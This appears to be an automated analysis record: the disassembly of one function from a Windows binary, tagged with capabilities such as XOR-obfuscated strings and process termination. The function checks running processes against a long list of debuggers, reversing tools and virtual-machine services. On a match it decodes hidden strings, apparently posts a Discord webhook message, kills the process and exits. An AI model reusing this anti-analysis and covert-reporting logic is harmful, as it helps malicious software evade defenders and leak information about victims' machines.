Function at 0x469d60
Capabilities:
Contain obfuscated stackstrings
Encode data using xor
Enumerate processes
Terminate process

Disassembly:
push ebx
mov ebx, esp
sub esp, 8
and esp, 0xfffffff8
add esp, 4
push ebp
mov ebp, dword [ebx + 4]
mov dword [esp + 4], ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x4de022
mov eax, dword fs:[0]
push eax
push ebx
mov eax, 0x1e70
call fcn.004dbf10
mov eax, dword [0x509040]
xor eax, ebp
mov dword [ebp - 0x14], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x168], str.vm3dservice.exe
mov dword [ebp - 0x164], str.die.exe
mov dword [ebp - 0x160], str.cheatengine___x86_64.exe
mov dword [ebp - 0x15c], str.ollydbg.exe
mov dword [ebp - 0x158], str.ida.exe
mov dword [ebp - 0x154], str.ida64.exe
mov dword [ebp - 0x150], str.radare2.exe
mov dword [ebp - 0x14c], str.x64dbg.exe
mov dword [ebp - 0x148], str.httpdebuggerui.exe
mov dword [ebp - 0x144], str.wireshark.exe
mov dword [ebp - 0x140], str.HTTPDebuggerSvc.exe
mov dword [ebp - 0x13c], str.fiddler.exe
mov dword [ebp - 0x138], str.ObsidianGUI.exe
mov dword [ebp - 0x134], str.vboxservice.exe
mov dword [ebp - 0x130], str.Rock_Debugger.exe
mov dword [ebp - 0x12c], str.OLLYDBG.exe
mov dword [ebp - 0x128], str.procmon64.exe
mov dword [ebp - 0x124], str.codecracker.exe
mov dword [ebp - 0x120], str.x96dbg.exe
mov dword [ebp - 0x11c], str.pizza.exe
mov dword [ebp - 0x118], str.pepper.exe
mov dword [ebp - 0x114], str.reverse.exe
mov dword [ebp - 0x110], str.reversal.exe
mov dword [ebp - 0x10c], str.de4dot.exe
mov dword [ebp - 0x108], str.pc_ret.exe
mov dword [ebp - 0x104], str.crack.exe
mov dword [ebp - 0x100], str.ILSpy.exe
mov dword [ebp - 0xfc], str.x32dbg.exe
mov dword [ebp - 0xf8], str.sharpod.exe
mov dword [ebp - 0xf4], str.x64dbg.exe
mov dword [ebp - 0xf0], str.x32_dbg.exe
mov dword [ebp - 0xec], str.x64_dbg.exe
mov dword [ebp - 0xe8], str.debug.exe
mov dword [ebp - 0xe4], str.dbg.exe
mov dword [ebp - 0xe0], str.strongod.exe
mov dword [ebp - 0xdc], str.PhantOm.exe
mov dword [ebp - 0xd8], str.titanHide.exe
mov dword [ebp - 0xd4], str.scyllaHide.exe
mov dword [ebp - 0xd0], str.ilspy.exe
mov dword [ebp - 0xcc], str.graywol.exef
mov dword [ebp - 0xc8], str.simpleassemblyexplorer.exe
mov dword [ebp - 0xc4], str.whatchanged.exe
mov dword [ebp - 0xc0], str.tcpview64.exe
mov dword [ebp - 0xbc], str.RegFromApp.exe
mov dword [ebp - 0xb8], str.RegFromApp.exe
mov dword [ebp - 0xb4], str.Procmon.exe
mov dword [ebp - 0xb0], str.procexp.exe
mov dword [ebp - 0xac], str.Autoruns.exe
mov dword [ebp - 0xa8], str.bintext.exe
mov dword [ebp - 0xa4], str.TextScan.exe
mov dword [ebp - 0xa0], str.Ollydbg.exe
mov dword [ebp - 0x9c], str.procdump64.exe
mov dword [ebp - 0x98], str.procdump.exe
mov dword [ebp - 0x94], str.procdump86.exe
mov dword [ebp - 0x90], str.procdump32.exe
mov dword [ebp - 0x8c], str.LunarEngine.exe
mov dword [ebp - 0x88], str.LunarEngine_x64.exe
mov dword [ebp - 0x84], str.CheatEngine.exe
mov dword [ebp - 0x80], str.processhacker.exe
mov dword [ebp - 0x7c], str.vboxtray.exe
mov dword [ebp - 0x78], str.vmtoolsd.exe
mov dword [ebp - 0x74], str.vmwaretray.exe
mov dword [ebp - 0x70], str.ida64.exe
mov dword [ebp - 0x6c], str.ollydbg.exe
mov dword [ebp - 0x68], str.pestudio.exe
mov dword [ebp - 0x64], str.vmwareuser
mov dword [ebp - 0x60], str.vgauthservice.exe
mov dword [ebp - 0x5c], str.vmacthlp.exe
mov dword [ebp - 0x58], str.x96dbg.exe
mov dword [ebp - 0x54], str.vmsrvc.exe
mov dword [ebp - 0x50], str.x32dbg.exe
mov dword [ebp - 0x4c], str.vmusrvc.exe
mov dword [ebp - 0x48], str.prl_cc.exe
mov dword [ebp - 0x44], str.prl_tools.exe
mov dword [ebp - 0x40], str.xenservice.exe
mov dword [ebp - 0x3c], str.qemu_ga.exe
mov dword [ebp - 0x38], str.joeboxcontrol.exe
mov dword [ebp - 0x34], str.ksdumperclient.exe
mov dword [ebp - 0x30], str.ksdumper.exe
mov dword [ebp - 0x2c], str.joeboxserver.exe
mov dword [ebp - 0x28], str.peview.exe
lea esi, [ebp - 0x168]
mov dword [ebp - 0x24], str.HTTPDebuggerSvc.exe
mov dword [ebp - 0x20], str.processhacker.exe
mov dword [ebp - 0x1c], str.ProcessHacker.exe
mov dword [ebp - 0x17bc], esi
nop dword [eax + eax]
push 0
push 2
mov dword [ebp - 0x17b8], 0x128
call dword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov edi, eax
lea eax, [ebp - 0x17b8]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_Process32First]
test eax, eax
je 0x46a123
nop dword [eax + eax]
push dword [esi]
lea eax, [ebp - 0x1794]
push eax
call dword [sym.imp.api_ms_win_crt_string_l1_1_0.dll__stricmp]
add esp, 8
test eax, eax
jne 0x46a111
push dword [ebp - 0x17b0]
push eax
push 1
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov esi, eax
test esi, esi
jne 0x46a15c
mov esi, dword [ebp - 0x17bc]
lea eax, [ebp - 0x17b8]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_Process32Next]
test eax, eax
jne 0x46a0e0
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
add esi, 4
lea eax, [ebp - 0x18]
mov dword [ebp - 0x17bc], esi
cmp esi, eax
jne 0x46a0b0
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x14]
xor ecx, ebp
call fcn.004870f9
mov esp, ebp
pop ebp
mov esp, ebx
pop ebx
ret
mov eax, dword [ebp - 0x17bc]
lea ecx, [ebp - 0x198]
push dword [eax]
call fcn.0045bc30
mov dword [ebp - 4], 0
lea ecx, [ebp - 0x180]
push 0x4ee7f6
mov dword [ebp - 0x17d8], 0
mov dword [ebp - 0x17d4], 0
call fcn.0045bc30
push 1
push 0xc
sub esp, 0xc
mov byte [ebp - 4], 1
movq xmm0, qword [ebp - 0x17d8]
lea ecx, [ebp - 0x1690]
mov eax, esp
push 1
push 1
push 0
movq qword [eax], xmm0
push 0
mov dword [eax + 8], 0
lea eax, [ebp - 0x180]
push 0x317efd
push eax
call dword [sym.imp.dpp.dll_public:_void___thiscall_dpp::cluster::constructor_class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char___const___unsigned_int__unsigned_int__unsigned_int__unsigned_int__bool__struct_dpp::cache_policy_t__unsigned_int__unsigned_int_]
lea ecx, [ebp - 0x180]
mov byte [ebp - 4], 3
call fcn.0045bb10
sub esp, 0x28
push esp
call dword [sym.imp.dpp.dll_class_std::function_void____cdecl___struct_dpp::log_t_const______cdecl_dpp::utility::cout_logger_void_]
add esp, 4
lea ecx, [ebp - 0x1460]
call fcn.00481f50
movaps xmm0, xmmword [0x500580]
xor ecx, ecx
movups xmmword [ebp - 0x1910], xmm0
mov dword [ebp - 0x18a0], 0x794d7a65
movaps xmm0, xmmword [0x500050]
movups xmmword [ebp - 0x1900], xmm0
mov dword [ebp - 0x189c], 0x5d734e13
movaps xmm0, xmmword [0x4ff310]
movups xmmword [ebp - 0x18f0], xmm0
mov word [ebp - 0x1898], 0x7a1b
movaps xmm0, xmmword [0x501170]
movups xmmword [ebp - 0x18e0], xmm0
mov byte [ebp - 0x1896], 0
movaps xmm0, xmmword [str.X_cAyB]
movups xmmword [ebp - 0x18d0], xmm0
movaps xmm0, xmmword [0x4ff790]
movups xmmword [ebp - 0x18c0], xmm0
movaps xmm0, xmmword [0x500e20]
movups xmmword [ebp - 0x18b0], xmm0
nop dword [eax]
mov al, byte [ebp - 0x1910]
xor byte [ebp + ecx - 0x190f], al
inc ecx
cmp ecx, 0x79
jb 0x46a290
lea eax, [ebp - 0x190f]
mov byte [ebp - 0x1896], 0
push eax
lea ecx, [ebp - 0x1928]
call fcn.0045bc30
lea eax, [ebp - 0x1928]
mov byte [ebp - 4], 4
push eax
lea ecx, [ebp - 0x220]
call dword [sym.imp.dpp.dll_public:_void___thiscall_dpp::webhook::constructor_class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char___const__]
lea ecx, [ebp - 0x1928]
mov byte [ebp - 4], 6
call fcn.0045bb10
push 0x4ee7f6
lea ecx, [ebp - 0x180]
call fcn.0045bc30
mov byte [ebp - 4], 7
xorps xmm0, xmm0
movlpd qword [ebp - 0x17d0], xmm0
xor ecx, ecx
movaps xmm0, xmmword [0x4ff140]
movups xmmword [ebp - 0x1858], xmm0
mov dword [ebp - 0x1838], 0x30509
movaps xmm0, xmmword [0x4ff1b0]
movups xmmword [ebp - 0x1848], xmm0
nop dword [eax]
mov al, byte [ebp - 0x1858]
xor byte [ebp + ecx - 0x1857], al
inc ecx
cmp ecx, 0x22
jb 0x46a330
movaps xmm0, xmmword [0x4ff8c0]
xor ecx, ecx
movups xmmword [ebp - 0x1808], xmm0
mov byte [ebp - 0x1835], 0
movaps xmm0, xmmword [0x4ff9f0]
movups xmmword [ebp - 0x17f8], xmm0
mov dword [ebp - 0x17e8], 0x3a302e28
mov dword [ebp - 0x17e4], 0x7568553a
mov dword [ebp - 0x17e0], 0x3a3a302a
mov byte [ebp - 0x17dc], 0
nop dword [eax]
mov al, byte [ebp - 0x1808]
xor byte [ebp + ecx - 0x1807], al
inc ecx
cmp ecx, 0x2b
jb 0x46a390
movaps xmm0, xmmword [0x500cf0]
xor ecx, ecx
movups xmmword [ebp - 0x1890], xmm0
mov byte [ebp - 0x17dc], 0
movaps xmm0, xmmword [0x500e50]
movups xmmword [ebp - 0x1880], xmm0
mov dword [ebp - 0x1860], 0x7278623f
movaps xmm0, xmmword [0x4ffbf0]
movups xmmword [ebp - 0x1870], xmm0
mov word [ebp - 0x185c], 0x5172
mov byte [ebp - 0x185a], 0
mov al, byte [ebp - 0x1890]
xor byte [ebp + ecx - 0x188f], al
inc ecx
cmp ecx, 0x35
jb 0x46a3f0
lea ecx, [ebp - 0x19d0]
mov byte [ebp - 0x185a], 0
call fcn.00460ba0
mov edx, eax
mov byte [ebp - 4], 8
xor ecx, ecx
movaps xmm0, xmmword [0x4ffb00]
movups xmmword [ebp - 0x1834], xmm0
mov dword [ebp - 0x1814], 0x34343e20
movaps xmm0, xmmword [0x4ffa80]
movups xmmword [ebp - 0x1824], xmm0
mov dword [ebp - 0x1810], 0x245d5f53
mov dword [ebp - 0x180c], 0x173434
nop word [eax + eax]
mov al, byte [ebp - 0x1834]
xor byte [ebp + ecx - 0x1833], al
inc ecx
cmp ecx, 0x2a
jb 0x46a460
push edx
lea edx, [ebp - 0x1833]
mov byte [ebp - 0x1809], 0
lea ecx, [ebp - 0x19b8]
call fcn.0045bf50
add esp, 4
lea ecx, [ebp - 0x188f]
mov byte [ebp - 4], 9
push ecx
mov edx, eax
lea ecx, [ebp - 0x19a0]
call fcn.0045c0b0
add esp, 4
lea ecx, [ebp - 0x198]
mov byte [ebp - 4], 0xa
push ecx
mov edx, eax
lea ecx, [ebp - 0x1988]
call fcn.0045c190
add esp, 4
lea ecx, [ebp - 0x1807]
mov byte [ebp - 4], 0xb
push ecx
mov edx, eax
lea ecx, [ebp - 0x1970]
call fcn.0045c0b0
add esp, 4
push 0x587afc
mov edx, eax
mov byte [ebp - 4], 0xc
lea ecx, [ebp - 0x1958]
call fcn.0045c190
add esp, 4
lea ecx, [ebp - 0x1857]
mov byte [ebp - 4], 0xd
push ecx
mov edx, eax
lea ecx, [ebp - 0x1940]
call fcn.0045c0b0
add esp, 4
push 0
push eax
lea ecx, [ebp - 0x1e80]
mov byte [ebp - 4], 0xe
call dword [sym.imp.dpp.dll_public:_void___thiscall_dpp::message::constructor_class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char___const___enum_dpp::message_type_]
mov edi, eax
lea eax, [ebp - 0x180]
mov byte [ebp - 4], 0xf
push eax
sub esp, 8
lea eax, [ebp - 0x17d0]
mov ecx, esp
push eax
call dword [sym.imp.dpp.dll_public:_void___thiscall_dpp::snowflake::constructor_unsigned_long_long_unsigned___int64__const__]
push 0
push edi
lea eax, [ebp - 0x220]
push eax
lea eax, [ebp - 0x1c28]
push eax
lea ecx, [ebp - 0x1690]
call dword [sym.imp.dpp.dll_public:_struct_dpp::message___thiscall_dpp::cluster::execute_webhook_sync_class_dpp::webhook_const___struct_dpp::message_const___bool__class_dpp::snowflake__class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char___const__]
mov edi, dword [sym.imp.dpp.dll_public_virtual:_void___thiscall_dpp::message::destructor_void_]
lea ecx, [ebp - 0x1c28]
call edi
lea ecx, [ebp - 0x1e80]
call edi
lea ecx, [ebp - 0x1940]
call fcn.0045bb10
lea ecx, [ebp - 0x1958]
call fcn.0045bb10
lea ecx, [ebp - 0x1970]
call fcn.0045bb10
lea ecx, [ebp - 0x1988]
call fcn.0045bb10
lea ecx, [ebp - 0x19a0]
call fcn.0045bb10
lea ecx, [ebp - 0x19b8]
call fcn.0045bb10
lea ecx, [ebp - 0x19d0]
call fcn.0045bb10
lea ecx, [ebp - 0x180]
mov byte [ebp - 4], 6
call fcn.0045bb10
cmp byte [0x588853], 0
je 0x46a65b
movaps xmm0, xmmword [0x4ff250]
xor ecx, ecx
movups xmmword [ebp - 0x17d8], xmm0
mov word [ebp - 0x17c8], 0x54
nop dword [eax + eax]
mov al, byte [ebp - 0x17d8]
xor byte [ebp + ecx - 0x17d7], al
inc ecx
cmp ecx, 0x10
jb 0x46a600
lea eax, [ebp - 0x198]
mov byte [ebp - 0x17c7], 0
push eax
lea edx, [ebp - 0x17d7]
lea ecx, [ebp - 0x180]
call fcn.0045c050
add esp, 4
lea ecx, [ebp - 0x180]
push 0
push 0x4fb020
call fcn.0045b990
push eax
push 0
call dword [sym.imp.USER32.dll_MessageBoxA]
lea ecx, [ebp - 0x180]
call fcn.0045bb10
push 0
push esi
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 1
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3